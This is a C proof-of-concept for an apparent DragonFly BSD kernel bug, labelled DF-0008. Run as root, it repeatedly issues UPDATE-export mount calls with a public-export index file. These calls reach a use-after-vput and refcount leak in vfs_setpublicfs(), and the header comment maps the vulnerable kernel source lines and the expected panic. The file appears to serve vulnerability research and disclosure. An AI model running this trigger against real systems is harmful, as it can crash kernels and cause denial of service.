/*
 * DF-0008 PoC - vfs_setpublicfs() use-after-vput of the root vnode
 *              + (VPTOFH-error) refcount leak.  Root-only trigger.
 *
 * Bug location: sys/kern/vfs_subr.c:2255-2290 (vfs_setpublicfs).
 *
 *     VFS_ROOT(mp, &rvp);                         // rvp ref'd + locked
 *     if ((error = VFS_VPTOFH(rvp, ...)))
 *         return (error);                         // :2259  LEAK: no vput
 *     vput(rvp);                                  // :2261  drops ref+lock
 *     ...
 *     if (argp->ex_indexfile != NULL) {
 *         error = vn_get_namelen(rvp, &namelen);  // :2269  USE AFTER vput
 *
 * vn_get_namelen() -> VOP_PATHCONF(rvp) (vfs_subr.c:2552) runs on a vnode
 * that has ALREADY been vput() (unlocked, usecount decremented).  If
 * VFS_ROOT's was the only reference, rvp is reclaimable by vnlru between
 * :2261 and :2269 -> use-after-free in the VOP_PATHCONF dispatch.  At minimum
 * it is a definite vnode-lock-protocol violation (VOP_PATHCONF requires a
 * locked vp).
 *
 * Reachability: mount(2) -> fs vfs_mount (e.g. ffs_vfsops.c:273) ->
 * vfs_export() -> vfs_setpublicfs().  An UPDATE mount of an already-mounted
 * ufs fs (fspec=NULL) with export_args.ex_flags = MNT_EXPUBLIC|MNT_EXPORTED
 * and ex_indexfile set reaches the UAF path.  (UFS ffs_vptofh always returns
 * 0, so we always reach :2261/:2269; the leak variant at :2259 needs a fs
 * whose vptofh can fail.)  Mount/export is privilege-gated (root only).
 *
 * Build (DragonFly, amd64):  cc -o expub expub.c
 * Run as root:   ./expub /boot        # /boot is ufs/ffs on the guest
 *
 * Expected (bug present):
 *   - On a DEBUG/INVARIANTS kernel racing vnlru: a panic from VOP_PATHCONF on
 *     a reclaimed/unlocked vnode.
 *   - On a normal kernel: the lock-protocol violation races silently; the
 *     mount may succeed (proving vfs_setpublicfs ran the buggy path).  The
 *     refcount-leak variant (vptofh-fail fs) is deterministic: the root
 *     vnode's usecount grows by 1 per attempt and never decreases.
 */

#include <sys/param.h>
#include <sys/mount.h>
#include <vfs/ufs/ufsmount.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *dir;
	struct ufs_args uargs;
	struct export_args *ex;
	int i, rv, ok = 0, fail = 0;
	int loops;

	if (argc < 2) {
		fprintf(stderr, "usage: %s <ufs-mountpoint>  (run as root)\n",
			argv[0]);
		return 2;
	}
	dir = argv[1];
	loops = (argc >= 3) ? atoi(argv[2]) : 64;
	if (loops < 1)
		loops = 1;

	printf("[*] target=%s loops=%d\n", dir, loops);
	printf("[*] sizeof(ufs_args)=%zu export_args=%zu\n",
	       sizeof(uargs), sizeof(uargs.export));

	for (i = 0; i < loops; i++) {
		/* Build a ufs_args for an UPDATE-export with an indexfile.
		 * fspec=NULL  -> ffs takes the export path (ffs_vfsops.c:270).
		 * ex_flags    = MNT_EXPORTED | MNT_EXPUBLIC
		 *              -> vfs_export -> vfs_setpublicfs (:2202).
		 * ex_indexfile != NULL -> the buggy vn_get_namelen(rvp) at
		 *              vfs_subr.c:2269 (rvp already vput at :2261). */
		memset(&uargs, 0, sizeof(uargs));
		uargs.fspec = NULL;
		ex = &uargs.export;
		ex->ex_flags = MNT_EXPORTED | MNT_EXPUBLIC;
		ex->ex_root = 0;		/* map root -> root */
		ex->ex_indexfile = "index.html";

		rv = mount("ufs", dir, MNT_UPDATE | MNT_EXPORTED, &uargs);
		if (rv == 0) {
			ok++;
			/* Clear the public export so the next iteration can
			 * re-enter vfs_setpublicfs (singleton: only one public
			 * fs at a time, vfs_subr.c:2246). */
			memset(&uargs, 0, sizeof(uargs));
			uargs.fspec = NULL;
			uargs.export.ex_flags = MNT_DELEXPORT;
			mount("ufs", dir, MNT_UPDATE, &uargs);
		} else {
			fail++;
			if (i < 4 || (i % 16) == 0)
				fprintf(stderr, "  attempt %d: mount: %s\n",
				        i, strerror(errno));
		}
	}
	printf("[+] done: vfs_setpublicfs UAF path reached ok=%d fail=%d "
	       "(of %d)\n", ok, fail, loops);
	if (ok > 0)
		printf("[+] vfs_setpublicfs() ran the buggy :2261-vput -> "
		       ":2269-VOP_PATHCONF path %d time(s); on a non-DEBUG\n"
		       "    kernel the unlocked-VOP races silently -- check "
		       "serial console for a vnlru-reclaim UAF panic.\n", ok);
	return (ok > 0) ? 0 : 1;
}
